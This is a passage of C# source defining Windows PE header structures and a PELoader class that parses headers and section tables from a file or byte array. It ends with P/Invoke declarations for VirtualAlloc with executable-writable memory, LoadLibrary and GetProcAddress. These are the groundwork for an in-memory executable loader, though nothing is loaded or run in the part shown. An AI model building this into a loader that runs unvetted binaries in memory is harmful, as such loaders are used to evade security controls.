	public UInt16 e_csum; // Checksum
	public UInt16 e_ip; // Initial IP value
	public UInt16 e_cs; // Initial (relative) CS value
	public UInt16 e_lfarlc; // File address of relocation table
	public UInt16 e_ovno; // Overlay number
	public UInt16 e_res_0; // Reserved words
	public UInt16 e_res_1; // Reserved words
	public UInt16 e_res_2; // Reserved words
	public UInt16 e_res_3; // Reserved words
	public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
	public UInt16 e_oeminfo; // OEM information; e_oemid specific
	public UInt16 e_res2_0; // Reserved words
	public UInt16 e_res2_1; // Reserved words
	public UInt16 e_res2_2; // Reserved words
	public UInt16 e_res2_3; // Reserved words
	public UInt16 e_res2_4; // Reserved words
	public UInt16 e_res2_5; // Reserved words
	public UInt16 e_res2_6; // Reserved words
	public UInt16 e_res2_7; // Reserved words
	public UInt16 e_res2_8; // Reserved words
	public UInt16 e_res2_9; // Reserved words
	public UInt32 e_lfanew; // File address of new exe header
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct IMAGE_DATA_DIRECTORY
	{
	public UInt32 VirtualAddress;
	public UInt32 Size;
	}

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	public struct IMAGE_OPTIONAL_HEADER32
	{
	public UInt16 Magic;
	public Byte MajorLinkerVersion;
	public Byte MinorLinkerVersion;
	public UInt32 SizeOfCode;
	public UInt32 SizeOfInitializedData;
	public UInt32 SizeOfUninitializedData;
	public UInt32 AddressOfEntryPoint;
	public UInt32 BaseOfCode;
	public UInt32 BaseOfData;
	public UInt32 ImageBase;
	public UInt32 SectionAlignment;
	public UInt32 FileAlignment;
	public UInt16 MajorOperatingSystemVersion;
	public UInt16 MinorOperatingSystemVersion;
	public UInt16 MajorImageVersion;
	public UInt16 MinorImageVersion;
	public UInt16 MajorSubsystemVersion;
	public UInt16 MinorSubsystemVersion;
	public UInt32 Win32VersionValue;
	public UInt32 SizeOfImage;
	public UInt32 SizeOfHeaders;
	public UInt32 CheckSum;
	public UInt16 Subsystem;
	public UInt16 DllCharacteristics;
	public UInt32 SizeOfStackReserve;
	public UInt32 SizeOfStackCommit;
	public UInt32 SizeOfHeapReserve;
	public UInt32 SizeOfHeapCommit;
	public UInt32 LoaderFlags;
	public UInt32 NumberOfRvaAndSizes;

	public IMAGE_DATA_DIRECTORY ExportTable;
	public IMAGE_DATA_DIRECTORY ImportTable;
	public IMAGE_DATA_DIRECTORY ResourceTable;
	public IMAGE_DATA_DIRECTORY ExceptionTable;
	public IMAGE_DATA_DIRECTORY CertificateTable;
	public IMAGE_DATA_DIRECTORY BaseRelocationTable;
	public IMAGE_DATA_DIRECTORY Debug;
	public IMAGE_DATA_DIRECTORY Architecture;
	public IMAGE_DATA_DIRECTORY GlobalPtr;
	public IMAGE_DATA_DIRECTORY TLSTable;
	public IMAGE_DATA_DIRECTORY LoadConfigTable;
	public IMAGE_DATA_DIRECTORY BoundImport;
	public IMAGE_DATA_DIRECTORY IAT;
	public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
	public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
	public IMAGE_DATA_DIRECTORY Reserved;
	}

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	public struct IMAGE_OPTIONAL_HEADER64
	{
	public UInt16 Magic;
	public Byte MajorLinkerVersion;
	public Byte MinorLinkerVersion;
	public UInt32 SizeOfCode;
	public UInt32 SizeOfInitializedData;
	public UInt32 SizeOfUninitializedData;
	public UInt32 AddressOfEntryPoint;
	public UInt32 BaseOfCode;
	public UInt64 ImageBase;
	public UInt32 SectionAlignment;
	public UInt32 FileAlignment;
	public UInt16 MajorOperatingSystemVersion;
	public UInt16 MinorOperatingSystemVersion;
	public UInt16 MajorImageVersion;
	public UInt16 MinorImageVersion;
	public UInt16 MajorSubsystemVersion;
	public UInt16 MinorSubsystemVersion;
	public UInt32 Win32VersionValue;
	public UInt32 SizeOfImage;
	public UInt32 SizeOfHeaders;
	public UInt32 CheckSum;
	public UInt16 Subsystem;
	public UInt16 DllCharacteristics;
	public UInt64 SizeOfStackReserve;
	public UInt64 SizeOfStackCommit;
	public UInt64 SizeOfHeapReserve;
	public UInt64 SizeOfHeapCommit;
	public UInt32 LoaderFlags;
	public UInt32 NumberOfRvaAndSizes;

	public IMAGE_DATA_DIRECTORY ExportTable;
	public IMAGE_DATA_DIRECTORY ImportTable;
	public IMAGE_DATA_DIRECTORY ResourceTable;
	public IMAGE_DATA_DIRECTORY ExceptionTable;
	public IMAGE_DATA_DIRECTORY CertificateTable;
	public IMAGE_DATA_DIRECTORY BaseRelocationTable;
	public IMAGE_DATA_DIRECTORY Debug;
	public IMAGE_DATA_DIRECTORY Architecture;
	public IMAGE_DATA_DIRECTORY GlobalPtr;
	public IMAGE_DATA_DIRECTORY TLSTable;
	public IMAGE_DATA_DIRECTORY LoadConfigTable;
	public IMAGE_DATA_DIRECTORY BoundImport;
	public IMAGE_DATA_DIRECTORY IAT;
	public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
	public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
	public IMAGE_DATA_DIRECTORY Reserved;
	}

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	public struct IMAGE_FILE_HEADER
	{
	public UInt16 Machine;
	public UInt16 NumberOfSections;
	public UInt32 TimeDateStamp;
	public UInt32 PointerToSymbolTable;
	public UInt32 NumberOfSymbols;
	public UInt16 SizeOfOptionalHeader;
	public UInt16 Characteristics;
	}

	[StructLayout(LayoutKind.Explicit)]
	public struct IMAGE_SECTION_HEADER
	{
	[FieldOffset(0)]
	[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
	public char[] Name;
	[FieldOffset(8)]
	public UInt32 VirtualSize;
	[FieldOffset(12)]
	public UInt32 VirtualAddress;
	[FieldOffset(16)]
	public UInt32 SizeOfRawData;
	[FieldOffset(20)]
	public UInt32 PointerToRawData;
	[FieldOffset(24)]
	public UInt32 PointerToRelocations;
	[FieldOffset(28)]
	public UInt32 PointerToLinenumbers;
	[FieldOffset(32)]
	public UInt16 NumberOfRelocations;
	[FieldOffset(34)]
	public UInt16 NumberOfLinenumbers;
	[FieldOffset(36)]
	public DataSectionFlags Characteristics;

	public string Section
	{
	get { return new string(Name); }
	}
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct IMAGE_BASE_RELOCATION
	{
	public uint VirtualAdress;
	public uint SizeOfBlock;
	}

	[Flags]
	public enum DataSectionFlags : uint
	{

	Stub = 0x00000000,

	}


	/// The DOS header

	private IMAGE_DOS_HEADER dosHeader;

	/// The file header

	private IMAGE_FILE_HEADER fileHeader;

	/// Optional 32 bit file header

	private IMAGE_OPTIONAL_HEADER32 optionalHeader32;

	/// Optional 64 bit file header

	private IMAGE_OPTIONAL_HEADER64 optionalHeader64;

	/// Image Section headers. Number of sections is in the file header.

	private IMAGE_SECTION_HEADER[] imageSectionHeaders;

	private byte[] rawbytes;



	public PELoader(string filePath)
	{
	// Read in the DLL or EXE and get the timestamp
	using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
	{
	BinaryReader reader = new BinaryReader(stream);
	dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);

	// Add 4 bytes to the offset
	stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

	UInt32 ntHeadersSignature = reader.ReadUInt32();
	fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
	if (this.Is32BitHeader)
	{
	optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
	}
	else
	{
	optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
	}

	imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
	for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
	{
	imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
	}



	rawbytes = System.IO.File.ReadAllBytes(filePath);

	}
	}

	public PELoader(byte[] fileBytes)
	{
	// Read in the DLL or EXE and get the timestamp
	using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
	{
	BinaryReader reader = new BinaryReader(stream);
	dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);

	// Add 4 bytes to the offset
	stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

	UInt32 ntHeadersSignature = reader.ReadUInt32();
	fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
	if (this.Is32BitHeader)
	{
	optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
	}
	else
	{
	optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
	}

	imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
	for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
	{
	imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
	}


	rawbytes = fileBytes;

	}
	}


	public static T FromBinaryReader<T>(BinaryReader reader)
	{
	// Read in a byte array
	byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));

	// Pin the managed memory while, copy it out the data, then unpin it
	GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
	T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
	handle.Free();

	return theStructure;
	}



	public bool Is32BitHeader
	{
	get
	{
	UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
	return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
	}
	}


	public IMAGE_FILE_HEADER FileHeader
	{
	get
	{
	return fileHeader;
	}
	}


	/// Gets the optional header

	public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
	{
	get
	{
	return optionalHeader32;
	}
	}


	/// Gets the optional header

	public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
	{
	get
	{
	return optionalHeader64;
	}
	}

	public IMAGE_SECTION_HEADER[] ImageSectionHeaders
	{
	get
	{
	return imageSectionHeaders;
	}
	}

	public byte[] RawBytes
	{
	get
	{
	return rawbytes;
	}

	}

	}//End Class


	class NativeDeclarations
	{

	public static uint MEM_COMMIT = 0x1000;
	public static uint MEM_RESERVE = 0x2000;
	public static uint PAGE_EXECUTE_READWRITE = 0x40;
	public static uint PAGE_READWRITE = 0x04;

	[StructLayout(LayoutKind.Sequential)]
	public struct IMAGE_BASE_RELOCATION
	{
	public uint VirtualAdress;
	public uint SizeOfBlock;
	}

	[DllImport("kernel32")]
	public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);

	[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
	public static extern IntPtr LoadLibrary(string lpFileName);

	[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
	public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

	[StructLayout(LayoutKind.Sequential)]
	public struct IMAGE_IMPORT_DESCRIPTOR
	{
	public uint OriginalFirstThunk;
	public uint TimeDateStamp;
	public uint ForwarderChain;
	public uint Name;
	public uint FirstThunk;
	}


	}
	}